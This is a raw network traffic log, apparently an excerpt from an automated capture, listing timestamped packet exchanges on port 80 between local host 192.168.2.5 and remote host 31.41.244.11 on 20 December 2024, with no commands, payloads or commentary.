Dec 20, 2024 16:08:19.104687929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.104738951 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.105546951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.105602980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.105812073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.105926037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.106712103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.106766939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.106901884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.106947899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.107820034 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.108098984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.108334064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.108375072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.111022949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.111987114 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.112056017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.114001989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.114051104 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.115036964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.115080118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.118077993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.118093014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.118153095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.119049072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.119062901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.119102001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.120094061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.120109081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.120157003 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.123085022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.123342991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.124061108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.124603033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.126059055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.126075983 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.126121044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.129381895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.129494905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.130273104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.132014036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.132028103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.132067919 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.134943962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.135001898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.135966063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.136006117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.136966944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.137927055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.137989044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.140922070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.140937090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.140986919 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.144876957 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.144891977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.144944906 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.146773100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.146799088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.146835089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.146866083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.150288105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.150302887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.150360107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.152299881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.152363062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.153234005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.153532982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.156255007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.156270981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.156312943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.158206940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.158221006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.158261061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.162156105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.162170887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.162230968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.165133953 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.165148973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.165201902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.167095900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.167109966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.167149067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.171098948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.171113968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.171184063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.174551010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.174566031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.174631119 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.176532984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.176547050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.176599979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.179481030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.179495096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.179555893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.180618048 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.180670977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.268491030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.268615961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.268636942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.268680096 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.269052982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.269099951 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.269432068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.269479036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.270225048 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.270271063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.270365000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.270402908 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.271435022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.271481991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.271719933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.271759987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.272538900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.272589922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.272746086 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.272789001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.273765087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.273823977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.274110079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.274158001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.274990082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.275003910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.275043011 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.275073051 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.276177883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.276231050 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.276395082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.276434898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.277364016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.277415991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.277582884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.277628899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.278582096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.278635025 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.278795004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.278841019 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.279881954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.279931068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.280157089 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.280204058 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.280985117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.281043053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.281235933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.281280041 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.282196045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.282244921 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.282474041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.282512903 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.283612967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.283660889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.283744097 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.283783913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.284637928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.284687042 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.285363913 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.285408020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.285820961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.285870075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.286097050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.286139965 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.287065029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.287111044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.287250996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.287293911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.288250923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.288300037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.288453102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.288496017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.289448023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.289499998 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.289726019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.289767981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.290657043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.290704012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.291011095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.291057110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.291851044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.291901112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.292190075 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.292233944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.293987989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.294002056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.294055939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.294845104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.294857979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.294894934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.295712948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.295768023 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.296144962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.296196938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.296607971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.296657085 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.297046900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.297092915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.297844887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.297895908 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.298199892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.298245907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.299434900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.299487114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.299988031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.300035000 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.300463915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.300509930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.300663948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.300723076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.301487923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.301544905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.301667929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.301708937 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.302735090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.302792072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.302910089 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.302949905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.305102110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.305114031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.305160999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.309073925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.309086084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.309134960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.310976982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.310990095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.311039925 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.313874006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.313885927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.313950062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.316621065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.316677094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.317496061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.317543030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.319562912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.319576979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.319617033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.322210073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.322272062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.323096037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.323139906 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.325078964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.325093985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.325134993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.327816010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.327872992 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.328917027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.328964949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.331541061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.331556082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.331598043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.333404064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.333420992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.333452940 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.333478928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.337222099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.337234974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.337280035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.339010954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.339024067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.339065075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.341820002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.341871977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.342701912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.342782021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.344142914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.344611883 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.345067978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.345113039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.347867012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.347879887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.347933054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.350704908 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.351607084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.351686954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.354449987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.354465008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.354526043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.356288910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.356303930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.356396914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.359081984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.360043049 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.360105038 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.361902952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.361917973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.361973047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.365118980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.365154028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.365202904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.366987944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.367007017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.367038965 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.367966890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.368012905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.470642090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.470865011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.471029997 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.471239090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.471282005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.471673012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.471718073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.472474098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.472518921 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.472786903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.473666906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.473721981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.473839045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.473881960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.474891901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.474937916 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.475236893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.475302935 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.476073027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.476118088 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.476279974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.476317883 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.477253914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.477452993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.477498055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.478485107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.478537083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.478683949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.478723049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.479651928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.479697943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.480351925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.480396986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.480825901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.481049061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.481095076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.482079029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.482129097 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.482294083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.482439995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.483263016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.483304024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.483644009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.484478951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.484522104 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.484663963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.485661030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.485713005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.485976934 CET	80	49965	31.41.244.11	192.168.2.5
